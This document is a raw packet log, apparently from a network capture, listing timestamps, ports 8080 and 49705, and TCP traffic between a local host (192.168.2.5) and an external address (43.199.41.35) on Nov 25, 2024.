Nov 25, 2024 11:10:21.986866951 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.986959934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.987000942 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.987750053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.987961054 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.988055944 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.988605976 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.988720894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.988775969 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.989468098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.989615917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.989655018 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.990391016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.990505934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.990595102 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:21.991276979 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.991358995 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:21.991404057 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.008666992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.008692980 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.008738041 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.008960009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.009115934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.009165049 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.009892941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.009988070 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.010030031 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.010790110 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.010874033 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.010925055 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.011625051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.011761904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.011812925 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.012506008 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.012618065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.012662888 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.013397932 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.013499022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.013539076 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.014324903 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.014404058 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.014445066 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.015185118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.015306950 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.015347958 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.016108036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.016169071 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.016206026 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.016936064 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.017047882 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.017086983 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.017910957 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.017987013 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.018045902 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.018728971 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.018906116 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.018944979 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.019630909 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.019737005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.019772053 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.020492077 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.020632982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.020673037 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.021493912 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.021549940 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.021590948 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.022267103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.022320986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.022376060 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.023264885 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.023277998 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.023320913 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.024044991 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.024169922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.024220943 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.025012970 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.025084972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.025131941 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.025814056 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.025938988 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.025976896 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.026721001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.026834965 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.026880980 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.027599096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.027698994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.027740955 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.028469086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.028573036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.028616905 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.029371977 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.029498100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.029547930 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.030277014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.030350924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.030395985 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.031158924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.031276941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.031328917 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.032042027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.032151937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.032198906 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.032891989 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.033023119 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.033076048 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.033791065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.033924103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.033971071 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.034661055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.034750938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.034794092 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.035603046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.035690069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.035737038 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.036467075 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.036571026 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.036618948 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.037312031 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.037440062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.037489891 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.038259983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.038458109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.038515091 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.039160967 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.039259911 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.039321899 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.039985895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.088987112 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.143676996 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.143718004 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.143790960 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.144104958 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.144128084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.144170046 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.145059109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.145144939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.145186901 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.145951986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.146049023 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.146091938 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.146738052 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.146943092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.147000074 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.147499084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.147613049 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.147656918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.148375034 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.148389101 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.148428917 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.176034927 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.176170111 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.176227093 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.176513910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.176569939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.176615953 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.177341938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.177568913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.177612066 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.178226948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.178508997 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.178551912 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.179124117 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.179272890 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.179323912 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.179979086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.180111885 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.180156946 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.180972099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.181041956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.181083918 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.181814909 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.181829929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.181864977 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.182718992 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.182782888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.182823896 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.183562994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.183613062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.183657885 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.200887918 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.201013088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.201078892 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.201124907 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.201364040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.201419115 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.202215910 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.202400923 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.202455044 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.203027010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.203090906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.203136921 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.203784943 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.203993082 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.204041958 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.204672098 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.204741001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.204790115 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.205569983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.205658913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.205708027 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.206433058 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.206559896 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.206604958 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.207345963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.207473040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.207520962 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.208298922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.208332062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.208379030 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.209137917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.209151030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.209213018 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.209995985 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.210251093 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.210302114 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.210849047 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.210963964 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.211009979 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.211739063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.211905956 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.211951017 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.212766886 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.212836981 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.212883949 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.213507891 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.213666916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.213716984 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.214453936 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.214510918 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.214557886 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.215348005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.215449095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.215497017 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.216217041 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.216320038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.216365099 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.217199087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.217339039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.217384100 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.217978001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.218100071 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.218153954 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.219162941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.219293118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.219336987 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.220174074 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.220186949 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.220232964 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.220978975 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.221236944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.221282959 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.221882105 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.221932888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.221975088 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.222520113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.222672939 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.222718000 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.223346949 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.223514080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.223560095 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.224229097 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.224253893 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.224298954 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.225086927 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.225136042 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.225179911 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.225914001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.226041079 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.226083040 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.226805925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.226887941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.226932049 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.227679014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.227791071 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.227834940 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.228611946 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.228791952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.228837013 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.229520082 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.229577065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.229623079 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.230381966 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.230536938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.230586052 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.231355906 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.231615067 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.231659889 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.232686043 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.276493073 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.335536957 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.335738897 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.335819960 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.335973978 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.336102009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.336146116 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.337017059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.337225914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.337272882 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.337277889 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.338110924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.338156939 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.338176012 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.339001894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.339045048 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.339176893 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.339863062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.339914083 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.339962006 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.340867043 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.340928078 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.368081093 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.368108988 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.368257999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.368273020 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.368417025 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.368458033 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.369190931 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.369287014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.369340897 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.370069981 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.370183945 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.370249033 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.370982885 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.371104002 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.371160030 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.371860027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.372024059 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.372067928 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.372915030 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.373091936 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.373146057 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:22.374061108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:22.374157906 CET	8080	49705	43.199.41.35	192.168.2.5
